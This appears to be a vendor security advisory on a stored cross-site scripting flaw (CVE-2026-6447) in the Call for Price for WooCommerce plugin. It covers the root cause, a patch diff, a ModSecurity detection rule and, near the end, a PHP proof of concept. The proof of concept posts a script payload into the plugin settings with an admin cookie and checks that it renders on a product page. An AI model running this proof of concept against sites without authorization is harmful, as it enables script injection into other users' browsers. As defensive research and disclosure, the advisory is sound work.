Atomic Edge analysis of CVE-2026-6447: This vulnerability is a stored cross-site scripting (XSS) issue in the Call for Price for WooCommerce plugin for WordPress, affecting versions up to 4.2.0. It allows authenticated administrators in multisite installations or where unfiltered_html is disabled to inject arbitrary web scripts via the ‘Call for Price’ label settings. The CVSS score is 4.4 (medium severity).
The root cause lies in insufficient input sanitization and output escaping in three functions. In ‘class-wc-call-for-price-settings-product-types.php’, the ‘unclean_custom_textarea’ method (line 66-70) returns raw user input without sanitization when the option type is ‘alg_wc_call_for_price_textarea’. In ‘class-wc-call-for-price.php’, the ‘get_call_for_price_label’ method (line 235-243) and ‘get_label_by_product_id’ method (line 678-682) both pass the stored label through ‘do_shortcode’ but do not escape the output with ‘wp_kses_post’. An administrator can set a malicious label containing JavaScript that gets stored and later rendered without sanitization.
An attacker with administrator privileges navigates to the plugin settings page (typically under WooCommerce settings or the plugin’s admin menu) and modifies the ‘Call for Price’ label text. The attacker injects a payload such as ‘alert(1)’ in the label textarea field. This value is saved to the WordPress options table via the settings API. When any user (including lower-privileged users or visitors) views a product page where the price is empty, the plugin retrieves the label and outputs it directly into the HTML without escaping, causing the stored script to execute in the browser.
The patch applies three changes. In ‘unclean_custom_textarea’, the return value is now passed through ‘wp_kses_post’ to sanitize the input before storage. In both output functions (‘get_call_for_price_label’ and ‘get_label_by_product_id’), the result of ‘do_shortcode’ is wrapped with ‘wp_kses_post’ to escape the output. This ensures that any HTML or JavaScript stored in the label (or generated via shortcodes) is filtered to remove dangerous elements. The plugin version is also updated from 4.2.0 to 4.3.0.
Successful exploitation enables a stored XSS attack. An administrator injects a malicious script that executes in the browsers of other administrators, editors, or site visitors when they view a product page. This could lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The impact is limited by the requirement for administrator access and the condition that unfiltered_html must be disabled or the site must be multisite. However, once injected, the script affects any user visiting the affected product page.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/woocommerce-call-for-price/includes/admin/class-wc-call-for-price-settings-product-types.php
+++ b/woocommerce-call-for-price/includes/admin/class-wc-call-for-price-settings-product-types.php
@@ -66,7 +66,10 @@
* @since 3.1.0
*/
public function unclean_custom_textarea( $value, $option, $raw_value ) {
- return ( 'alg_wc_call_for_price_textarea' === $option['type'] ) ? $raw_value : $value;
+ if ( 'alg_wc_call_for_price_textarea' === $option['type'] ) {
+ return wp_kses_post( $raw_value );
+ }
+ return $value;
}
/**
--- a/woocommerce-call-for-price/includes/class-wc-call-for-price.php
+++ b/woocommerce-call-for-price/includes/class-wc-call-for-price.php
@@ -235,7 +235,7 @@
if ( true === $status ) {
return $price_html;
} else {
- return do_shortcode( $label );
+ return wp_kses_post( do_shortcode( $label ) );
}
}
}
@@ -678,7 +678,7 @@
array( 'product_id' => $_product_id )
);
}
- return do_shortcode( $label );
+ return wp_kses_post( do_shortcode( $label ) );
}
}
--- a/woocommerce-call-for-price/woocommerce-call-for-price.php
+++ b/woocommerce-call-for-price/woocommerce-call-for-price.php
@@ -3,15 +3,15 @@
* Plugin Name: Call for Price for WooCommerce
* Plugin URI: https://www.tychesoftwares.com/store/premium-plugins/woocommerce-call-for-price-plugin/
* Description: Plugin extends WooCommerce by outputting "Call for Price" when price field for product is left empty.
- * Version: 4.2.0
+ * Version: 4.3.0
* Author: Tyche Softwares
* Author URI: https://www.tychesoftwares.com/
* Text Domain: woocommerce-call-for-price
* Domain Path: /langs
* Copyright: � 2021 Tyche Softwares
* Requires PHP: 7.4
- * WC tested up to: 10.4.3
- * Tested up to: 6.9.0
+ * WC tested up to: 10.7.0
+ * Tested up to: 6.9.4
* WC requires at least: 5.0.0
* Requires Plugins: woocommerce
* License: GNU General Public License v3.0
@@ -63,7 +63,7 @@
* @var string
* @since 3.0.0
*/
- public $version = '4.2.0';
+ public $version = '4.3.0';
/**
* Setting.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6447 via Call for Price settings page',severity:'CRITICAL',tag:'CVE-2026-6447'"
SecRule ARGS:page "@streq wc-settings" "chain"
SecRule ARGS:tab "@streq alg_call_for_price" "chain"
SecRule ARGS_POST:alg_wc_call_for_price_textarea "@rx <script" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6447 - Call for Price for WooCommerce <= 4.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting
$target_url = 'http://localhost/wordpress'; // Change to the target WordPress URL
$admin_cookie = 'wordpress_logged_in_xxx=admin_cookie_value'; // Replace with admin-level WordPress auth cookie
// Step 1: Set the malicious XSS payload in the plugin settings
$settings_url = $target_url . '/wp-admin/admin.php?page=wc-settings&tab=alg_call_for_price';
$payload = '<script>alert("XSS");</script>';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $admin_cookie);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
// The actual parameter name may vary; adjust based on real plugin settings
$post_data = 'alg_wc_call_for_price_textarea=' . urlencode($payload) . '&save=Save+changes';
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
if (curl_error($ch)) {
die('cURL error: ' . curl_error($ch));
}
curl_close($ch);
echo "Payload sent to admin settings.n";
// Step 2: Visit a product page to verify the XSS triggers
$product_url = $target_url . '/product/sample-product'; // Change to a product with empty price
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $product_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// No cookie needed as any visitor will be affected
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, '<script>alert("XSS");</script>') !== false) {
echo "Vulnerability confirmed: injected XSS payload appears in the page source.n";
} else {
echo "Payload not found in product page. Check target product or plugin settings.n";
}
?>